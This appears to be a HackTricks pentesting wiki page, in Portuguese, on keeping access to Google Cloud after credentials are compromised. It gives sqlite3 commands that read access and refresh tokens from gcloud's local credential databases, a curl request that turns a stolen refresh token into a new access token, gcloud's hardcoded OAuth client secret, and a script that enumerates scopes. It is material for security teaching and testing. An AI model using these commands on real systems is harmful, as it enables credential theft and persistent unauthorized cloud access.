GCP - Non-svc Persistance

Support HackTricks

Estas são técnicas úteis uma vez que, de alguma forma, você tenha comprometido algumas credenciais GCP ou uma máquina rodando em um ambiente GCP.

Token Hijacking

Authenticated User Tokens

Para obter o token atual de um usuário, você pode executar:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Verifique nesta página como usar diretamente este token usando gcloud:

Para obter os detalhes para gerar um novo token de acesso execute:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Também é possível encontrar tokens de atualização em $HOME/.config/gcloud/application_default_credentials.json e em $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Para obter um novo token de acesso atualizado com o refresh token, client ID e client secret, execute:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

A validade dos tokens de atualização pode ser gerenciada em Admin > Security > Google Cloud session control, e por padrão está definida para 16h, embora possa ser configurada para nunca expirar:

Fluxo de autenticação

O fluxo de autenticação ao usar algo como gcloud auth login abrirá um prompt no navegador e, após aceitar todos os escopos, o navegador enviará uma solicitação como esta para a porta http aberta pela ferramenta:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud will use the state and code with a some hardcoded client_id (32555940559.apps.googleusercontent.com) and client_secret (ZmssLNjJy2998hD4CTg2ejr2) to get the final refresh token data.

Note que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um refresh token, no entanto, esses dados são válidos apenas uma vez, então isso seria inútil, é mais fácil apenas ler o refresh token do arquivo.

OAuth Scopes

Você pode encontrar todos os escopos do Google em https://developers.google.com/identity/protocols/oauth2/scopes ou obtê-los executando:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

É possível ver quais escopos a aplicação que gcloud usa para autenticar pode suportar com este script:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Depois de executá-lo, foi verificado que este aplicativo suporta estes escopos:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

é interessante ver como este app suporta o escopo drive, o que poderia permitir a um usuário escalar de GCP para Workspace se um atacante conseguir forçar o usuário a gerar um token com este escopo.

Veja como abusar disso aqui.

Service Accounts

Assim como com usuários autenticados, se você conseguir comprometer o arquivo de chave privada de uma service account, você poderá acessá-la geralmente pelo tempo que quiser. No entanto, se você roubar o token OAuth de uma service account, isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a vítima deletar a chave privada da API, o token OAuth ainda será válido até expirar.

Metadata

Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP, você poderá acessar a service account anexada a essa máquina contatando o endpoint de metadata (note que os tokens OAuth que você pode acessar neste endpoint geralmente são restritos por escopos).

Remediações

Algumas remediações para essas técnicas são explicadas em https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referências

Support HackTricks

Last updated